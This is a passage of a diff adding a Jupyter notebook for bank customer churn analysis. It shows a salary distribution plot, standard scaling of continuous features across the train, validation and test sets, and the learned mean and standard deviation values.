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+ }, + "metadata": {} + } + ], + "source": [ + "sns.distplot(np.sqrt(dc_train.EstimatedSalary), hist=False)\n", + "#sns.distplot(np.log10(1+df_train.EstimatedSalary), hist=False)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "1x7cipyNpEw9" + }, + "source": [ + "#### StandardScaler" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "W6dHm6n2pEw9" + }, + "outputs": [], + "source": [ + "# initialize the standard scaler\n", + "sc = StandardScaler()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "QEMryCQOpEw9", + "outputId": "beb293ac-be79-44cb-d438-0f268fdf196c" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Index(['CreditScore', 'Gender', 'Age', 'Tenure', 'Balance', 'NumOfProducts',\n", + " 'HasCrCard', 'IsActiveMember', 'EstimatedSalary', 'Exited',\n", + " 'country_France', 'country_Germany', 'country_Spain', 'Surname_enc',\n", + " 'bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio',\n", + " 'age_surname_mean_churn'],\n", + " dtype='object')" + ] + }, + "metadata": {}, + "execution_count": 69 + } + ], + "source": [ + "dc_train.columns" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "MJ6iJcbmpEw9" + }, + "source": [ + "Scaling only continuous variables" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 288 + }, + "id": "qU7PDJsOpEw-", + "outputId": "fb0312c0-6412-4be5-90f6-15becdb63a7b" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "(7920, 11)" + ] + }, + "metadata": {}, + "execution_count": 70 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " CreditScore Age Tenure Balance NumOfProducts EstimatedSalary \\\n", + "0 0.284761 -0.274383 -1.389130 0.670778 0.804059 -1.254732 \n", + "1 -0.389351 -1.128482 -0.004763 0.787860 -0.912423 1.731950 \n", + "2 -0.233786 0.579716 1.379604 -1.218873 0.804059 -0.048751 \n", + "3 -1.426446 -0.843782 -0.004763 -1.218873 0.804059 1.094838 \n", + "4 -0.119706 -1.602981 -0.350855 -1.218873 0.804059 -1.244806 \n", + "\n", + " Surname_enc bal_per_product bal_by_est_salary tenure_age_ratio \\\n", + "0 -1.079210 -0.062389 0.095448 -1.232035 \n", + "1 -1.079210 1.104840 -0.118834 0.525547 \n", + "2 0.094549 -1.100925 -0.155854 0.690966 \n", + "3 0.505364 -1.100925 -0.155854 0.318773 \n", + "4 1.561746 -1.100925 -0.155854 0.487952 \n", + "\n", + " age_surname_mean_churn \n", + "0 -1.062507 \n", + "1 -1.062507 \n", + "2 0.193191 \n", + "3 0.321611 \n", + "4 0.912973 " + ], + "text/html": [ + "\n", + "
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CreditScoreAgeTenureBalanceNumOfProductsEstimatedSalarySurname_encbal_per_productbal_by_est_salarytenure_age_ratioage_surname_mean_churn
00.284761-0.274383-1.3891300.6707780.804059-1.254732-1.079210-0.0623890.095448-1.232035-1.062507
1-0.389351-1.128482-0.0047630.787860-0.9124231.731950-1.0792101.104840-0.1188340.525547-1.062507
2-0.2337860.5797161.379604-1.2188730.804059-0.0487510.094549-1.100925-0.1558540.6909660.193191
3-1.426446-0.843782-0.004763-1.2188730.8040591.0948380.505364-1.100925-0.1558540.3187730.321611
4-0.119706-1.602981-0.350855-1.2188730.804059-1.2448061.561746-1.100925-0.1558540.4879520.912973
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 70 + } + ], + "source": [ + "cont_vars = ['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'EstimatedSalary', 'Surname_enc', 'bal_per_product'\n", + " , 'bal_by_est_salary', 'tenure_age_ratio', 'age_surname_mean_churn']\n", + "cat_vars = ['Gender', 'HasCrCard', 'IsActiveMember', 'country_France', 'country_Germany', 'country_Spain']\n", + "## Scaling only continuous columns\n", + "cols_to_scale = cont_vars\n", + "sc_X_train = sc.fit_transform(dc_train[cols_to_scale])\n", + "## Converting from array to dataframe and naming the respective features/columns\n", + "sc_X_train = pd.DataFrame(data = sc_X_train, columns = cols_to_scale)\n", + "sc_X_train.shape\n", + "sc_X_train.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "gdTJXf2-pEw-", + "outputId": "fc9c0986-4c81-4377-ddf2-a9435a4fb953" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'mean': array([6.50542424e+02, 3.88912879e+01, 5.01376263e+00, 7.60258447e+04,\n", + " 1.53156566e+00, 9.96616540e+04, 2.04321788e-01, 6.24727199e+04,\n", + " 2.64665647e+00, 1.38117689e-01, 1.26136416e+00]),\n", + " 'std': array([9.64231806e+01, 1.05374237e+01, 2.88940724e+00, 6.23738902e+04,\n", + " 5.82587032e-01, 5.74167173e+04, 1.89325378e-01, 5.67456646e+04,\n", + " 1.69816787e+01, 8.95590667e-02, 1.18715858e+00])}" + ] + }, + "metadata": {}, + "execution_count": 71 + } + ], + "source": [ + "## Mapping learnt on the continuous features\n", + "sc_map = {'mean':sc.mean_, 'std':np.sqrt(sc.var_)}\n", + "sc_map" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "GlfDFioGpEw-" + }, + "outputs": [], + "source": [ + "## Scaling validation and test sets by transforming the mapping obtained through the training set\n", + "sc_X_val = sc.transform(dc_val[cols_to_scale])\n", + "sc_X_test = sc.transform(dc_test[cols_to_scale])\n", + "## Converting val and test arrays to dataframes for re-usability\n", + "sc_X_val = pd.DataFrame(data = sc_X_val, columns = cols_to_scale)\n", + "sc_X_test = pd.DataFrame(data = sc_X_test, columns = cols_to_scale)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": 